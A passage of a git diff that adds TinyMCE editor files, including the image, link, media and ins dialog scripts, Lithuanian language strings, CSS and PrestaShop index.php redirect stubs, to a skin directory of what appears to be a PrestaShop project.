ed.getLang('update'); + + if (/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/.test(dom.getAttrib(n, 'onmouseover'))) + nl.onmouseoversrc.value = dom.getAttrib(n, 'onmouseover').replace(/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/, '$1'); + + if (/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/.test(dom.getAttrib(n, 'onmouseout'))) + nl.onmouseoutsrc.value = dom.getAttrib(n, 'onmouseout').replace(/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/, '$1'); + + if (ed.settings.inline_styles) { + // Move attribs to styles + if (dom.getAttrib(n, 'align')) + this.updateStyle('align'); + + if (dom.getAttrib(n, 'hspace')) + this.updateStyle('hspace'); + + if (dom.getAttrib(n, 'border')) + this.updateStyle('border'); + + if (dom.getAttrib(n, 'vspace')) + this.updateStyle('vspace'); + } + } + + // Setup browse button + document.getElementById('srcbrowsercontainer').innerHTML = getBrowserHTML('srcbrowser','src','image','theme_advanced_image'); + if (isVisible('srcbrowser')) + document.getElementById('src').style.width = '260px'; + + // Setup browse button + document.getElementById('onmouseoversrccontainer').innerHTML = getBrowserHTML('overbrowser','onmouseoversrc','image','theme_advanced_image'); + if (isVisible('overbrowser')) + document.getElementById('onmouseoversrc').style.width = '260px'; + + // Setup browse button + document.getElementById('onmouseoutsrccontainer').innerHTML = getBrowserHTML('outbrowser','onmouseoutsrc','image','theme_advanced_image'); + if (isVisible('outbrowser')) + document.getElementById('onmouseoutsrc').style.width = '260px'; + + // If option enabled default contrain proportions to checked + if (ed.getParam("advimage_constrain_proportions", true)) + f.constrain.checked = true; + + // Check swap image if valid data + if (nl.onmouseoversrc.value || nl.onmouseoutsrc.value) + this.setSwapImage(true); + else + this.setSwapImage(false); + + this.changeAppearance(); + this.showPreviewImage(nl.src.value, 1); + }, + + insert : function(file, title) { + var ed = tinyMCEPopup.editor, t = this, f = document.forms[0]; + + if (f.src.value === '') { + if (ed.selection.getNode().nodeName == 'IMG') { + ed.dom.remove(ed.selection.getNode()); + ed.execCommand('mceRepaint'); + } + + tinyMCEPopup.close(); + return; + } + + if (tinyMCEPopup.getParam("accessibility_warnings", 1)) { + if (!f.alt.value) { + tinyMCEPopup.confirm(tinyMCEPopup.getLang('advimage_dlg.missing_alt'), function(s) { + if (s) + t.insertAndClose(); + }); + + return; + } + } + + t.insertAndClose(); + }, + + insertAndClose : function() { + var ed = tinyMCEPopup.editor, f = document.forms[0], nl = f.elements, v, args = {}, el; + + tinyMCEPopup.restoreSelection(); + + // Fixes crash in Safari + if (tinymce.isWebKit) + ed.getWin().focus(); + + if (!ed.settings.inline_styles) { + args = { + vspace : nl.vspace.value, + hspace : nl.hspace.value, + border : nl.border.value, + align : getSelectValue(f, 'align') + }; + } else { + // Remove deprecated values + args = { + vspace : '', + hspace : '', + border : '', + align : '' + }; + } + + tinymce.extend(args, { + src : nl.src.value.replace(/ /g, '%20'), + width : nl.width.value, + height : nl.height.value, + alt : nl.alt.value, + title : nl.title.value, + 'class' : getSelectValue(f, 'class_list'), + style : nl.style.value, + id : nl.id.value, + dir : nl.dir.value, + lang : nl.lang.value, + usemap : nl.usemap.value, + longdesc : nl.longdesc.value + }); + + args.onmouseover = args.onmouseout = ''; + + if (f.onmousemovecheck.checked) { + if (nl.onmouseoversrc.value) + args.onmouseover = "this.src='" + nl.onmouseoversrc.value + "';"; + + if (nl.onmouseoutsrc.value) + args.onmouseout = "this.src='" + nl.onmouseoutsrc.value + "';"; + } + + el = ed.selection.getNode(); + + if (el && el.nodeName == 'IMG') { + ed.dom.setAttribs(el, args); + } else { + tinymce.each(args, function(value, name) { + if (value === "") { + delete args[name]; + } + }); + + ed.execCommand('mceInsertContent', false, tinyMCEPopup.editor.dom.createHTML('img', args), {skip_undo : 1}); + ed.undoManager.add(); + } + + tinyMCEPopup.editor.execCommand('mceRepaint'); + tinyMCEPopup.editor.focus(); + tinyMCEPopup.close(); + }, + + getAttrib : function(e, at) { + var ed = tinyMCEPopup.editor, dom = ed.dom, v, v2; + + if (ed.settings.inline_styles) { + switch (at) { + case 'align': + if (v = dom.getStyle(e, 'float')) + return v; + + if (v = dom.getStyle(e, 'vertical-align')) + return v; + + break; + + case 'hspace': + v = dom.getStyle(e, 'margin-left') + v2 = dom.getStyle(e, 'margin-right'); + + if (v && v == v2) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + + case 'vspace': + v = dom.getStyle(e, 'margin-top') + v2 = dom.getStyle(e, 'margin-bottom'); + if (v && v == v2) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + + case 'border': + v = 0; + + tinymce.each(['top', 'right', 'bottom', 'left'], function(sv) { + sv = dom.getStyle(e, 'border-' + sv + '-width'); + + // False or not the same as prev + if (!sv || (sv != v && v !== 0)) { + v = 0; + return false; + } + + if (sv) + v = sv; + }); + + if (v) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + } + } + + if (v = dom.getAttrib(e, at)) + return v; + + return ''; + }, + + setSwapImage : function(st) { + var f = document.forms[0]; + + f.onmousemovecheck.checked = st; + setBrowserDisabled('overbrowser', !st); + setBrowserDisabled('outbrowser', !st); + + if (f.over_list) + f.over_list.disabled = !st; + + if (f.out_list) + f.out_list.disabled = !st; + + f.onmouseoversrc.disabled = !st; + f.onmouseoutsrc.disabled = !st; + }, + + fillClassList : function(id) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + if (v = tinyMCEPopup.getParam('theme_advanced_styles')) { + cl = []; + + tinymce.each(v.split(';'), function(v) { + var p = v.split('='); + + cl.push({'title' : p[0], 'class' : p[1]}); + }); + } else + cl = tinyMCEPopup.editor.dom.getClasses(); + + if (cl.length > 0) { + lst.options.length = 0; + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), ''); + + tinymce.each(cl, function(o) { + lst.options[lst.options.length] = new Option(o.title || o['class'], o['class']); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + fillFileList : function(id, l) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + l = typeof(l) === 'function' ? l() : window[l]; + lst.options.length = 0; + + if (l && l.length > 0) { + lst.options[lst.options.length] = new Option('', ''); + + tinymce.each(l, function(o) { + lst.options[lst.options.length] = new Option(o[0], o[1]); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + resetImageData : function() { + var f = document.forms[0]; + + f.elements.width.value = f.elements.height.value = ''; + }, + + updateImageData : function(img, st) { + var f = document.forms[0]; + + if (!st) { + f.elements.width.value = img.width; + f.elements.height.value = img.height; + } + + this.preloadImg = img; + }, + + changeAppearance : function() { + var ed = tinyMCEPopup.editor, f = document.forms[0], img = document.getElementById('alignSampleImg'); + + if (img) { + if (ed.getParam('inline_styles')) { + ed.dom.setAttrib(img, 'style', f.style.value); + } else { + img.align = f.align.value; + img.border = f.border.value; + img.hspace = f.hspace.value; + img.vspace = f.vspace.value; + } + } + }, + + changeHeight : function() { + var f = document.forms[0], tp, t = this; + + if (!f.constrain.checked || !t.preloadImg) { + return; + } + + if (f.width.value == "" || f.height.value == "") + return; + + tp = (parseInt(f.width.value) / parseInt(t.preloadImg.width)) * t.preloadImg.height; + f.height.value = tp.toFixed(0); + }, + + changeWidth : function() { + var f = document.forms[0], tp, t = this; + + if (!f.constrain.checked || !t.preloadImg) { + return; + } + + if (f.width.value == "" || f.height.value == "") + return; + + tp = (parseInt(f.height.value) / parseInt(t.preloadImg.height)) * t.preloadImg.width; + f.width.value = tp.toFixed(0); + }, + + updateStyle : function(ty) { + var dom = tinyMCEPopup.dom, b, bStyle, bColor, v, isIE = tinymce.isIE, f = document.forms[0], img = dom.create('img', {style : dom.get('style').value}); + + if (tinyMCEPopup.editor.settings.inline_styles) { + // Handle align + if (ty == 'align') { + dom.setStyle(img, 'float', ''); + dom.setStyle(img, 'vertical-align', ''); + + v = getSelectValue(f, 'align'); + if (v) { + if (v == 'left' || v == 'right') + dom.setStyle(img, 'float', v); + else + img.style.verticalAlign = v; + } + } + + // Handle border + if (ty == 'border') { + b = img.style.border ? img.style.border.split(' ') : []; + bStyle = dom.getStyle(img, 'border-style'); + bColor = dom.getStyle(img, 'border-color'); + + dom.setStyle(img, 'border', ''); + + v = f.border.value; + if (v || v == '0') { + if (v == '0') + img.style.border = isIE ? '0' : '0 none none'; + else { + if (b.length == 3 && b[isIE ? 2 : 1]) + bStyle = b[isIE ? 2 : 1]; + else if (!bStyle || bStyle == 'none') + bStyle = 'solid'; + if (b.length == 3 && b[isIE ? 0 : 2]) + bColor = b[isIE ? 0 : 2]; + else if (!bColor || bColor == 'none') + bColor = 'black'; + img.style.border = v + 'px ' + bStyle + ' ' + bColor; + } + } + } + + // Handle hspace + if (ty == 'hspace') { + dom.setStyle(img, 'marginLeft', ''); + dom.setStyle(img, 'marginRight', ''); + + v = f.hspace.value; + if (v) { + img.style.marginLeft = v + 'px'; + img.style.marginRight = v + 'px'; + } + } + + // Handle vspace + if (ty == 'vspace') { + dom.setStyle(img, 'marginTop', ''); + dom.setStyle(img, 'marginBottom', ''); + + v = f.vspace.value; + if (v) { + img.style.marginTop = v + 'px'; + img.style.marginBottom = v + 'px'; + } + } + + // Merge + dom.get('style').value = dom.serializeStyle(dom.parseStyle(img.style.cssText), 'img'); + } + }, + + changeMouseMove : function() { + }, + + showPreviewImage : function(u, st) { + if (!u) { + tinyMCEPopup.dom.setHTML('prev', ''); + return; + } + + if (!st && tinyMCEPopup.getParam("advimage_update_dimensions_onchange", true)) + this.resetImageData(); + + u = tinyMCEPopup.editor.documentBaseURI.toAbsolute(u); + + if (!st) + tinyMCEPopup.dom.setHTML('prev', ''); + else + tinyMCEPopup.dom.setHTML('prev', ''); + } +}; + +ImageDialog.preInit(); +tinyMCEPopup.onInit.add(ImageDialog.init, ImageDialog); diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/img/button_bg.png b/js/tiny_mce2/themes/advanced/skins/o2k7/img/button_bg.png new file mode 100755 index 0000000..13a5cb0 Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/o2k7/img/button_bg.png differ diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/img/button_bg_black.png b/js/tiny_mce2/themes/advanced/skins/o2k7/img/button_bg_black.png new file mode 100755 index 0000000..7fc57f2 Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/o2k7/img/button_bg_black.png differ diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/img/button_bg_silver.png b/js/tiny_mce2/themes/advanced/skins/o2k7/img/button_bg_silver.png new file mode 100755 index 0000000..c0dcc6c Binary files /dev/null and b/js/tiny_mce2/themes/advanced/skins/o2k7/img/button_bg_silver.png differ diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/img/index.php b/js/tiny_mce2/themes/advanced/skins/o2k7/img/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/index.php b/js/tiny_mce2/themes/advanced/skins/o2k7/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/ins.js b/js/tiny_mce2/themes/advanced/skins/o2k7/ins.js new file mode 100755 index 0000000..71a8a26 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/ins.js @@ -0,0 +1,53 @@ +/** + * ins.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +function init() { + SXE.initElementDialog('ins'); + if (SXE.currentAction == "update") { + setFormValue('datetime', tinyMCEPopup.editor.dom.getAttrib(SXE.updateElement, 'datetime')); + setFormValue('cite', tinyMCEPopup.editor.dom.getAttrib(SXE.updateElement, 'cite')); + SXE.showRemoveButton(); + } +} + +function setElementAttribs(elm) { + setAllCommonAttribs(elm); + setAttrib(elm, 'datetime'); + setAttrib(elm, 'cite'); + elm.removeAttribute('data-mce-new'); +} + +function insertIns() { + var elm = tinyMCEPopup.editor.dom.getParent(SXE.focusElement, 'INS'); + + if (elm == null) { + var s = SXE.inst.selection.getContent(); + if(s.length > 0) { + insertInlineElement('ins'); + var elementArray = SXE.inst.dom.select('ins[data-mce-new]'); + for (var i=0; i'); + }, + + init : function() { + var f = document.forms[0], ed = tinyMCEPopup.editor; + + // Setup browse button + document.getElementById('hrefbrowsercontainer').innerHTML = getBrowserHTML('hrefbrowser', 'href', 'file', 'theme_advanced_link'); + if (isVisible('hrefbrowser')) + document.getElementById('href').style.width = '180px'; + + this.fillClassList('class_list'); + this.fillFileList('link_list', 'tinyMCELinkList'); + this.fillTargetList('target_list'); + + if (e = ed.dom.getParent(ed.selection.getNode(), 'A')) { + f.href.value = ed.dom.getAttrib(e, 'href'); + f.linktitle.value = ed.dom.getAttrib(e, 'title'); + f.insert.value = ed.getLang('update'); + selectByValue(f, 'link_list', f.href.value); + selectByValue(f, 'target_list', ed.dom.getAttrib(e, 'target')); + selectByValue(f, 'class_list', ed.dom.getAttrib(e, 'class')); + } + }, + + update : function() { + var f = document.forms[0], ed = tinyMCEPopup.editor, e, b, href = f.href.value.replace(/ /g, '%20'); + + tinyMCEPopup.restoreSelection(); + e = ed.dom.getParent(ed.selection.getNode(), 'A'); + + // Remove element if there is no href + if (!f.href.value) { + if (e) { + b = ed.selection.getBookmark(); + ed.dom.remove(e, 1); + ed.selection.moveToBookmark(b); + tinyMCEPopup.execCommand("mceEndUndoLevel"); + tinyMCEPopup.close(); + return; + } + } + + // Create new anchor elements + if (e == null) { + ed.getDoc().execCommand("unlink", false, null); + tinyMCEPopup.execCommand("mceInsertLink", false, "#mce_temp_url#", {skip_undo : 1}); + + tinymce.each(ed.dom.select("a"), function(n) { + if (ed.dom.getAttrib(n, 'href') == '#mce_temp_url#') { + e = n; + + ed.dom.setAttribs(e, { + href : href, + title : f.linktitle.value, + target : f.target_list ? getSelectValue(f, "target_list") : null, + 'class' : f.class_list ? getSelectValue(f, "class_list") : null + }); + } + }); + } else { + ed.dom.setAttribs(e, { + href : href, + title : f.linktitle.value, + target : f.target_list ? getSelectValue(f, "target_list") : null, + 'class' : f.class_list ? getSelectValue(f, "class_list") : null + }); + } + + // Don't move caret if selection was image + if (e.childNodes.length != 1 || e.firstChild.nodeName != 'IMG') { + ed.focus(); + ed.selection.select(e); + ed.selection.collapse(0); + tinyMCEPopup.storeSelection(); + } + + tinyMCEPopup.execCommand("mceEndUndoLevel"); + tinyMCEPopup.close(); + }, + + checkPrefix : function(n) { + if (n.value && Validator.isEmail(n) && !/^\s*mailto:/i.test(n.value) && confirm(tinyMCEPopup.getLang('advanced_dlg.link_is_email'))) + n.value = 'mailto:' + n.value; + + if (/^\s*www\./i.test(n.value) && confirm(tinyMCEPopup.getLang('advanced_dlg.link_is_external'))) + n.value = 'http://' + n.value; + }, + + fillFileList : function(id, l) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + l = window[l]; + + if (l && l.length > 0) { + lst.options[lst.options.length] = new Option('', ''); + + tinymce.each(l, function(o) { + lst.options[lst.options.length] = new Option(o[0], o[1]); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + fillClassList : function(id) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + if (v = tinyMCEPopup.getParam('theme_advanced_styles')) { + cl = []; + + tinymce.each(v.split(';'), function(v) { + var p = v.split('='); + + cl.push({'title' : p[0], 'class' : p[1]}); + }); + } else + cl = tinyMCEPopup.editor.dom.getClasses(); + + if (cl.length > 0) { + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), ''); + + tinymce.each(cl, function(o) { + lst.options[lst.options.length] = new Option(o.title || o['class'], o['class']); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + fillTargetList : function(id) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v; + + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), ''); + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('advanced_dlg.link_target_same'), '_self'); + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('advanced_dlg.link_target_blank'), '_blank'); + + if (v = tinyMCEPopup.getParam('theme_advanced_link_targets')) { + tinymce.each(v.split(','), function(v) { + v = v.split('='); + lst.options[lst.options.length] = new Option(v[0], v[1]); + }); + } + } +}; + +LinkDialog.preInit(); +tinyMCEPopup.onInit.add(LinkDialog.init, LinkDialog); diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/lt.js b/js/tiny_mce2/themes/advanced/skins/o2k7/lt.js new file mode 100755 index 0000000..3056354 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/lt.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.advanced',{"underline_desc":"Pabrauktas (Ctrl+U)","italic_desc":"Kursyvas (Ctrl+I)","bold_desc":"Pusjuodis (Ctrl+B)",dd:"Apibr\u0117\u017eimo apra\u0161as",dt:"Apibr\u0117\u017eimo terminas",samp:"Kodo pavyzdys",code:"Kodas",blockquote:"Citatos blokas",h6:"Antra\u0161t\u0117 6",h5:"Antra\u0161t\u0117 5",h4:"Antra\u0161t\u0117 4",h3:"Antra\u0161t\u0117 3",h2:"Antra\u0161t\u0117 2",h1:"Antra\u0161t\u0117 1",pre:"I\u0161 anksto formatuotas",address:"Adresas",div:"Div \u017eym\u0117",paragraph:"Paragrafas",block:"Formatas",fontdefault:"\u0160rifto \u0161eima","font_size":"\u0160rifto dydis","style_select":"Stiliai","link_delta_width":"70","more_colors":"Daugiau spalv\u0173","toolbar_focus":"Per\u0161okimas prie \u012franki\u0173 juostos mygtuk\u0173 - Alt+Q, Per\u0161okimas prie redaktoriaus - Alt-Z, Per\u0161okimas prie element\u0173 kelio - Alt-X",newdocument:"Ar tikrai norite i\u0161valyti vis\u0105 turin\u012f?",path:"Kelias","clipboard_msg":"Kopijavimas/I\u0161kirpimas/\u012ed\u0117jimas negalimas Mozilla ir Firefox nar\u0161ykl\u0117se.\nAr norite daugiau informacijos apie \u0161i\u0105 problem\u0105?","blockquote_desc":"Citatos blokas","help_desc":"Pagalba","newdocument_desc":"Naujas dokumentas","image_props_desc":"Paveiksl\u0117lio nustatymai","paste_desc":"\u012ed\u0117ti","copy_desc":"Kopijuoti","cut_desc":"I\u0161kirpti","anchor_desc":"\u012eterpti/redaguoti prierai\u0161\u0105","visualaid_desc":"Kaitalioti gaires/nematom\u0173 element\u0173 rodym\u0105","charmap_desc":"\u012eterpti nestandartin\u012f simbol\u012f","backcolor_desc":"Parinkti fono spalv\u0105","forecolor_desc":"Parinkti teksto spalv\u0105","custom1_desc":"J\u016bs\u0173 apra\u0161as \u010dia","removeformat_desc":"Pa\u0161alinti formatavim\u0105","hr_desc":"\u012eterpti horizontali\u0105 linij\u0105","sup_desc":"Vir\u0161utinis indeksas","sub_desc":"Apatinis indeksas","code_desc":"Redaguoti HTML i\u0161eities kod\u0105","cleanup_desc":"I\u0161valyti netvarking\u0105 kod\u0105","image_desc":"\u012eterpti/redaguoti paveiksl\u0117l\u012f","unlink_desc":"Pa\u0161alinti nuorod\u0105","link_desc":"\u012eterpti/redaguoti nuorod\u0105","redo_desc":"Gr\u0105\u017einti (Ctrl+Y)","undo_desc":"At\u0161aukti (Ctrl+Z)","indent_desc":"\u012etrauka","outdent_desc":"Atvirk\u0161tin\u0117 \u012ftrauka","numlist_desc":"Sunumeruotas s\u0105ra\u0161as","bullist_desc":"Nesunumeruotas s\u0105ra\u0161as","justifyfull_desc":"Lygiuoti pagal abu kra\u0161tus","justifyright_desc":"Lygiuoti pagal de\u0161in\u0119","justifycenter_desc":"Centruoti","justifyleft_desc":"Lygiuoti pagal kair\u0119","striketrough_desc":"Perbrauktas","help_shortcut":"Paspauskite ALT-F10 \u012fjungti u\u017eduo\u010di\u0173 juostai. Paspauskite ALT-0 jei reikia pagalbos","rich_text_area":"Suformatuoto teksto laukas","shortcuts_desc":"Accessability Help",toolbar:"U\u017eduo\u010di\u0173 juosta","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/lt_dlg.js b/js/tiny_mce2/themes/advanced/skins/o2k7/lt_dlg.js new file mode 100755 index 0000000..07294cb --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.advhr_dlg',{size:"Auk\u0161tis",noshade:"Be \u0161e\u0161\u0117lio",width:"Ilgis",normal:"Normalus",widthunits:"Vienetai"}); \ No newline at end of file diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/media.css b/js/tiny_mce2/themes/advanced/skins/o2k7/media.css new file mode 100755 index 0000000..fd04898 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/media.css @@ -0,0 +1,17 @@ +#id, #name, #hspace, #vspace, #class_name, #align { width: 100px } +#hspace, #vspace { width: 50px } +#flash_quality, #flash_align, #flash_scale, #flash_salign, #flash_wmode { width: 100px } +#flash_base, #flash_flashvars, #html5_altsource1, #html5_altsource2, #html5_poster { width: 240px } +#width, #height { width: 40px } +#src, #media_type { width: 250px } +#class { width: 120px } +#prev { margin: 0; border: 1px solid black; width: 380px; height: 260px; overflow: auto } +.panel_wrapper div.current { height: 420px; overflow: auto } +#flash_options, #shockwave_options, #qt_options, #wmp_options, #rmp_options { display: none } +.mceAddSelectValue { background-color: #DDDDDD } +#qt_starttime, #qt_endtime, #qt_fov, #qt_href, #qt_moveid, #qt_moviename, #qt_node, #qt_pan, #qt_qtsrc, #qt_qtsrcchokespeed, #qt_target, #qt_tilt, #qt_urlsubstituten, #qt_volume { width: 70px } +#wmp_balance, #wmp_baseurl, #wmp_captioningid, #wmp_currentmarker, #wmp_currentposition, #wmp_defaultframe, #wmp_playcount, #wmp_rate, #wmp_uimode, #wmp_volume { width: 70px } +#rmp_console, #rmp_numloop, #rmp_controls, #rmp_scriptcallbacks { width: 70px } +#shockwave_swvolume, #shockwave_swframe, #shockwave_swurl, #shockwave_swstretchvalign, #shockwave_swstretchhalign, #shockwave_swstretchstyle { width: 90px } +#qt_qtsrc { width: 200px } +iframe {border: 1px solid gray} diff --git a/js/tiny_mce2/themes/advanced/skins/o2k7/media.js b/js/tiny_mce2/themes/advanced/skins/o2k7/media.js new file mode 100755 index 0000000..43e9ac4 --- /dev/null +++ b/js/tiny_mce2/themes/advanced/skins/o2k7/media.js @@ -0,0 +1,470 @@ +(function() { + var url; + + if (url = tinyMCEPopup.getParam("media_external_list_url")) + document.write(''); + + function get(id) { + return document.getElementById(id); + } + + function clone(obj) { + var i, len, copy, attr; + + if (null == obj || "object" != typeof obj) + return obj; + + // Handle Array + if ('length' in obj) { + copy = []; + + for (i = 0, len = obj.length; i < len; ++i) { + copy[i] = clone(obj[i]); + } + + return copy; + } + + // Handle Object + copy = {}; + for (attr in obj) { + if (obj.hasOwnProperty(attr)) + copy[attr] = clone(obj[attr]); + } + + return copy; + } + + function getVal(id) { + var elm = get(id); + + if (elm.nodeName == "SELECT") + return elm.options[elm.selectedIndex].value; + + if (elm.type == "checkbox") + return elm.checked; + + return elm.value; + } + + function setVal(id, value, name) { + if (typeof(value) != 'undefined' && value != null) { + var elm = get(id); + + if (elm.nodeName == "SELECT") + selectByValue(document.forms[0], id, value); + else if (elm.type == "checkbox") { + if (typeof(value) == 'string') { + value = value.toLowerCase(); + value = (!name && value === 'true') || (name && value === name.toLowerCase()); + } + elm.checked = !!value; + } else + elm.value = value; + } + } + + window.Media = { + init : function() { + var html, editor, self = this; + + self.editor = editor = tinyMCEPopup.editor; + + // Setup file browsers and color pickers + get('filebrowsercontainer').innerHTML = getBrowserHTML('filebrowser','src','media','media'); + get('qtsrcfilebrowsercontainer').innerHTML = getBrowserHTML('qtsrcfilebrowser','quicktime_qtsrc','media','media'); + get('bgcolor_pickcontainer').innerHTML = getColorPickerHTML('bgcolor_pick','bgcolor'); + get('video_altsource1_filebrowser').innerHTML = getBrowserHTML('video_filebrowser_altsource1','video_altsource1','media','media'); + get('video_altsource2_filebrowser').innerHTML = getBrowserHTML('video_filebrowser_altsource2','video_altsource2','media','media'); + get('audio_altsource1_filebrowser').innerHTML = getBrowserHTML('audio_filebrowser_altsource1','audio_altsource1','media','media'); + get('audio_altsource2_filebrowser').innerHTML = getBrowserHTML('audio_filebrowser_altsource2','audio_altsource2','media','media'); + get('video_poster_filebrowser').innerHTML = getBrowserHTML('filebrowser_poster','video_poster','media','image'); + + html = self.getMediaListHTML('medialist', 'src', 'media', 'media'); + if (html == "") + get("linklistrow").style.display = 'none'; + else + get("linklistcontainer").innerHTML = html; + + if (isVisible('filebrowser')) + get('src').style.width = '230px'; + + if (isVisible('video_filebrowser_altsource1')) + get('video_altsource1').style.width = '220px'; + + if (isVisible('video_filebrowser_altsource2')) + get('video_altsource2').style.width = '220px'; + + if (isVisible('audio_filebrowser_altsource1')) + get('audio_altsource1').style.width = '220px'; + + if (isVisible('audio_filebrowser_altsource2')) + get('audio_altsource2').style.width = '220px'; + + if (isVisible('filebrowser_poster')) + get('video_poster').style.width = '220px'; + + editor.dom.setOuterHTML(get('media_type'), self.getMediaTypeHTML(editor)); + + self.setDefaultDialogSettings(editor); + self.data = clone(tinyMCEPopup.getWindowArg('data')); + self.dataToForm(); + self.preview(); + + updateColor('bgcolor_pick', 'bgcolor'); + }, + + insert : function() { + var editor = tinyMCEPopup.editor; + + this.formToData(); + editor.execCommand('mceRepaint'); + tinyMCEPopup.restoreSelection(); + editor.selection.setNode(editor.plugins.media.dataToImg(this.data)); + tinyMCEPopup.close(); + }, + + preview : function() { + get('prev').innerHTML = this.editor.plugins.media.dataToHtml(this.data, true); + }, + + moveStates : function(to_form, field) { + var data = this.data, editor = this.editor, + mediaPlugin = editor.plugins.media, ext, src, typeInfo, defaultStates, src; + + defaultStates = { + // QuickTime + quicktime_autoplay : true, + quicktime_controller : true, + + // Flash + flash_play : true, + flash_loop : true, + flash_menu : true, + + // WindowsMedia + windowsmedia_autostart : true, + windowsmedia_enablecontextmenu : true, + windowsmedia_invokeurls : true, + + // RealMedia + realmedia_autogotourl : true, + realmedia_imagestatus : true + }; + + function parseQueryParams(str) { + var out = {}; + + if (str) { + tinymce.each(str.split('&'), function(item) { + var parts = item.split('='); + + out[unescape(parts[0])] = unescape(parts[1]); + }); + } + + return out; + }; + + function setOptions(type, names) { + var i, name, formItemName, value, list; + + if (type == data.type || type == 'global') { + names = tinymce.explode(names); + for (i = 0; i < names.length; i++) { + name = names[i]; + formItemName = type == 'global' ? name : type + '_' + name; + + if (type == 'global') + list = data; + else if (type == 'video' || type == 'audio') { + list = data.video.attrs; + + if (!list && !to_form) + data.video.attrs = list = {}; + } else + list = data.params; + + if (list) { + if (to_form) { + setVal(formItemName, list[name], type == 'video' || type == 'audio' ? name : ''); + } else { + delete list[name]; + + value = getVal(formItemName); + if ((type == 'video' || type == 'audio') && value === true) + value = name; + + if (defaultStates[formItemName]) { + if (value !== defaultStates[formItemName]) { + value = "" + value; + list[name] = value; + } + } else if (value) { + value = "" + value; + list[name] = value; + } + } + } + } + } + } + + if (!to_form) { + data.type = get('media_type').options[get('media_type').selectedIndex].value; + data.width = getVal('width'); + data.height = getVal('height'); + + // Switch type based on extension + src = getVal('src'); + if (field == 'src') { + ext = src.replace(/^.*\.([^.]+)$/, '$1'); + if (typeInfo = mediaPlugin.getType(ext)) + data.type = typeInfo.name.toLowerCase(); + + setVal('media_type', data.type); + } + + if (data.type == "video" || data.type == "audio") { + if (!data.video.sources) + data.video.sources = []; + + data.video.sources[0] = {src: getVal('src')}; + } + } + + // Hide all fieldsets and show the one active + get('video_options').style.display = 'none'; + get('audio_options').style.display = 'none'; + get('flash_options').style.display = 'none'; + get('quicktime_options').style.display = 'none'; + get('shockwave_options').style.display = 'none'; + get('windowsmedia_options').style.display = 'none'; + get('realmedia_options').style.display = 'none'; + get('embeddedaudio_options').style.display = 'none'; + + if (get(data.type + '_options')) + get(data.type + '_options').style.display = 'block'; + + setVal('media_type', data.type); + + setOptions('flash', 'play,loop,menu,swliveconnect,quality,scale,salign,wmode,base,flashvars'); + setOptions('quicktime', 